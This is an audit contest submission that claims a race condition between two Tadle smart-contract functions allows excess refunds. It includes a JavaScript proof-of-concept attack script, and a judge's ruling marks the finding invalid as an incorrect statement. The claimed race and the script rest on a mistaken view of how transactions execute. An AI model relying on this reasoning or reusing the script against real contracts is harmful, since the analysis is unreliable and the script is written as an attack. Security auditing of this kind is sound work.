Tadle

Tadle
DeFiFoundry
27,750 USDC
View results
Submission Details
Severity: high
Invalid

Potential Exploitation of Refund Amount via Race Condition Between closeOffer and settleAskMaker

Summary

A race condition vulnerability exists between the closeOffer function in the PreMarkets.sol contract and the settleAskMaker function in the DeliveryPlace.sol contract of the Tadle protocol. An attacker can exploit this race condition to receive more refund tokens than the amount initially deposited as collateral.

Vulnerability Details

The vulnerability arises because the closeOffer function and settleAskMaker function both interact with the same offer and have conflicting states regarding the offer’s status.

https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/PreMarkets.sol#L406-L459

The closeOffer function changes the status of an offer to Canceled and processes the refund amount.

https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/DeliveryPlace.sol#L222-L325

This function processes settlement for an offer if it is either Virgin or Canceled. It calculates the refund amount with this status and adds tokens to the maker’s balance.

If an attacker quickly calls settleAskMaker before the closeOffer transaction has fully processed, they might exploit the overlapping states of the offer.

Impact

An attacker exploiting this vulnerability could potentially receive more refund tokens than they initially deposited as collateral, which could result in significant financial loss for the platform. The risk is exacerbated if the attacker is able to continuously exploit this race condition in a high-frequency manner.

Proof of Concept

Here’s an example of how an attacker might exploit this race condition.

async function attack() {
try {
const nonce = await provider.getTransactionCount(wallet.address);
// Step 1: Call closeOffer with a specific nonce
console.log("Calling closeOffer...");
const closeOfferTx = await preMarkets.populateTransaction.closeOffer(stockAddress, offerAddress);
closeOfferTx.nonce = nonce;
const closeOfferTxResponse = await wallet.sendTransaction(closeOfferTx);
console.log(`closeOffer transaction hash: ${closeOfferTxResponse.hash}`);
await new Promise(resolve => setTimeout(resolve, 5000)); // Wait 5 seconds
// Step 2: Call settleAskMaker with the next nonce
console.log("Calling settleAskMaker...");
const settleAskMakerTx = await deliveryPlace.populateTransaction.settleAskMaker(offerAddress, 100); // Adjust _settledPoints as needed
settleAskMakerTx.nonce = nonce + 1;
const settleAskMakerTxResponse = await wallet.sendTransaction(settleAskMakerTx);
console.log(`settleAskMaker transaction hash: ${settleAskMakerTxResponse.hash}`);
// Wait for both transactions to be mined
await closeOfferTxResponse.wait();
await settleAskMakerTxResponse.wait();
console.log("Attack executed successfully.");
} catch (error) {
console.error("Error executing attack:", error);
}
}

If the settleAskMaker function is called before closeOffer has completed, the attacker might receive extra refund tokens.

Tools Used

Manual code review

Recommendations

Implement synchronization mechanisms or use reentrancy guards to prevent race conditions.

Updates

Lead Judging Commences

0xnevi Lead Judge
12 months ago
0xnevi Lead Judge 12 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.